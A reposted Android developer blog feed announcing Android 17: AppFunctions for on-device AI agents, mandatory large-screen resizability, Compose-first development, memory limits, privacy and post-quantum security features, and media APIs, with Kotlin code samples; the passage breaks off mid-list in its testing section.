<h2>Android development anywhere</h2><p>By expanding our AI-assisted Android development offerings to Antigravity, through Android CLI and Android skills, and solidifying with the pro capabilities and production grade polish of Android Studio, we’re <strong>supporting Android developers wherever they choose to build.</strong></p>

<p>Have fun bringing your ideas to life faster and easier than ever before - we’re excited to see what you build in this new era of agentic development.</p><p>Check out the full <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-XnEzj1_CBClxpkGwYQeLy">Developer productivity at Google I/O 2026 YouTube playlist</a> for more information.</p></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
